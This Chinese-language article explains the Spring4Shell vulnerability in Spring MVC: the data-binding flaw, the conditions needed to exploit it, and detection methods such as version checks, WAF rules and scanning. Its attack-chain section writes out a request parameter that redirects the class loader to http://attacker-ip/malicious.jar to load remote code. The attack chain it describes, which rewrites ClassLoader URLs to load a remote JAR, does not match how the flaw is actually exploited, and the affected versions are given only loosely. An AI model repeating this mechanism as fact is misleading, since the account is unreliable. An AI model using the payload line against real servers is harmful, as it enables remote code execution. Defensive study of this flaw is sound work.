Spring4shell 原理&检测&利用
1. Spring4Shell 原理
Spring4Shell 的核心是一个数据绑定(Data Binding)漏洞,利用了 Spring MVC 在处理请求参数时的一个逻辑缺陷
数据绑定是什么? 在 Spring MVC 中,当你向一个 Controller 发送请求时,框架会自动将请求参数(例如 URL 中的查询参数或 POST 请求体)的值,绑定到方法的 Java 对象参数上。这个过程非常方便,但如果绑定过程没有受到严格限制,就会带来安全风险
漏洞的本质 Spring MVC 在数据绑定时,使用了反射来设置对象的属性。攻击者发现,可以通过精心构造的请求参数,利用反射访问并修改一些特殊的对象属性,例如:
class
属性:任何 Java 对象都有一个隐藏的class
属性,可以用来获取该对象的ClassLoader
ClassLoader
:这是 Java 虚拟机(JVM)加载类的地方
完整的攻击链
- 构造恶意请求:攻击者发送一个 HTTP 请求,其参数名为
class.module.classLoader.URLs[0]=http://attacker-ip/malicious.jar
- 数据绑定触发:Spring MVC 收到请求后,会尝试将这个参数绑定到 Controller 方法的 Java 对象上
- 反射调用:在绑定过程中,Spring 使用反射,根据
class.module.classLoader
这个路径,一步步获取到应用程序的ClassLoader
对象 - 修改 URL:然后,Spring 会将
attacker-ip/malicious.jar
这个 URL,设置到ClassLoader
的URLs
属性中 - 加载恶意类:一旦
ClassLoader
的 URL 被修改,攻击者就可以通过其他请求,让应用程序去加载一个远程的恶意 JAR 包(其中包含可以执行命令的代码) - 远程代码执行(RCE):当恶意 JAR 包中的类被加载到 JVM 中时,其中的恶意代码(通常是静态代码块)会被自动执行,从而实现 RCE。
2. Spring4Shell 利用
这个漏洞的利用需要满足几个特定条件:
依赖:应用程序必须依赖于 Spring Framework 的
5.2.x
到5.3.x
版本环境:
- JDK 9+:漏洞利用的原理依赖于 JDK 9+ 引入的
class.module
机制 - Tomcat Servlet 容器:攻击利用依赖于 Tomcat Servlet 容器,因为它暴露了可被利用的
ClassLoader
- JDK 9+:漏洞利用的原理依赖于 JDK 9+ 引入的
控制器(Controller):应用程序中必须有一个 Controller,其方法参数使用了简单的 POJO(Plain Old Java Object)进行数据绑定。例如:
@PostMapping("/bind") public String bind(@ModelAttribute User user) { // ... }
3. Spring4Shell 检测
Spring4Shell 的检测方法可以分为以下几种:
- 版本检测:最直接的方法是检查应用程序所使用的 Spring Framework 版本和 JDK 版本。如果版本在受影响的范围内(如 Spring 5.2.x - 5.3.x + JDK 9+),则存在风险
- 流量检测:Web 应用防火墙(WAF)可以检测 HTTP 请求中是否包含与漏洞相关的特征字符串,例如
class.module.classLoader
。这是最有效的网络层面检测方法 - 主动扫描:使用自动化漏洞扫描器(如 Nessus、OpenVAS)对目标进行扫描。这些扫描器通常集成了对 Spring4Shell 的检测模块
- 代码审计:通过静态应用安全测试(SAST)工具对源代码进行审计,检查是否使用了存在漏洞的 Spring 版本和数据绑定模式